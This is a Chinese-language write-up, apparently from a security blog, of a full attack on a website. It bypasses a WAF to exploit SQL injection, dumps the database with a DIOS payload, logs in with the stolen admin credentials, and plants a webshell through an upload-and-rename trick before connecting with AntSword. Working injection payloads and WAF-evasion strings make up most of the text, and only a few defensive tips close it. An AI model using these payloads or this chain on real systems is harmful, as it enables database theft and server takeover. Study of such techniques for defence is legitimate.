实战绕过某WAF+拿shell组合拳
字数 1104 2025-08-07 08:21:57
实战绕过某WAF并获取Shell的完整技术分析
0x01 注入环节技术分析
1. 初始注入点确认
- 目标URL加单引号报错,加闭合注释
-- -后返回正常,确认存在SQL注入漏洞 - 初步判断为字符型注入,闭合方式为单引号
2. 绕过WAF的Order By检测
- 直接使用
order by被WAF拦截导致连接重置 - 使用MySQL内联注释成功绕过:
/!order/ /!by/ 10-- - - 通过二分法确定字段数为17个(18报错,17正常回显)
3. 绕过Union Select拦截
- WAF强制拦截
union和select关键字 - 直接注释无法绕过(如
uni/*xxx*/on仍被拦截)
绕过技术1:利用数学函数+垃圾参数
- 构造
and mod(35,12)降低WAF拦截强度 - 添加垃圾参数使WAF误判:
detail.php?asdasdasdasd/*&id=10' and mod (35,12) union &asdasdas=1*/ - 原理:服务器端脚本未接收的垃圾参数(
asdasdasd)使WAF认为语句已被注释
绕过技术2:注释+脏数据+换行
- 使用
%23(URL编码的#)添加注释 - 在注释中填充大量脏数据混淆WAF
- 使用
%0a换行分隔union和selectdetail.php?asdasdasdasd/*&id=10' and mod (35,12) union%23aasadasdassdasdasdasdasdasdasdasdasdasdasdasaasadasdassdasdasdasdasdasdasdasdasdasdasdasaasadasdassdasdasdasdasdasdasdasdasdasdasdasaasadasdassdasdasdasdasdasdasdasdasdasdasdasaasadasdassdasdasdasdasdasdasdasdasdasdasdasaasadasdassdasdasdasdasdasdasdasdasdasdasdasaasadasdassdasdasdasdasdasdasdasdasdasdasdas%0aselect &asdasdas=1*/
4. 获取回显位与数据
- 确定回显位为第6个字段
- 获取当前数据库:
database() - 使用Dump in One Shot(DIOS)技术一次性获取所有表结构:
concat((select @rui from(select (@rui:=0x00),(select @rui from information_schema.columns where table_schema=database() and @rui in(@rui:=concat(@rui,table_name,0x2d2d3e,column_name,0x3c62723e))))rui)) - 搜索
password关键字定位管理员凭证表
0x02 拿Shell环节技术分析
1. 后台发现与登录
- 使用Google语法搜索发现管理后台
- 利用注入获取的账号密码成功登录
2. 文件上传绕过尝试
- 首次尝试:修改文件扩展名上传(如.jpg改为.php)
- 结果:PHP内容被强制转换为图片,失败
- 二次尝试:利用档案管理功能
- 上传图片格式的一句话木马
- 通过档案管理修改文件后缀为.php
- 成功获取Webshell
3. Webshell连接
- 使用中国蚁剑(AntSword)连接获取的Webshell
- 成功建立持久化访问通道
关键知识点总结
-
WAF绕过技术:
- 内联注释绕过关键字检测(
/!order/) - 数学函数降低拦截强度(
mod(35,12)) - 垃圾参数混淆WAF逻辑
- 注释+脏数据+换行分割关键字
- 内联注释绕过关键字检测(
-
高效注入技术:
- DIOS技术一次性获取所有表结构
- 利用变量拼接减少查询次数
-
文件上传绕过:
- 双重扩展名绕过
- 文件内容修改功能滥用
- 前后端校验不一致利用
-
防御建议:
- 严格过滤所有输入参数
- 实现统一的文件上传校验机制
- 禁用不必要的数据库信息查询权限
- 对管理后台实施多因素认证
此案例展示了从SQL注入到获取系统完整控制权的完整攻击链,强调了纵深防御的重要性。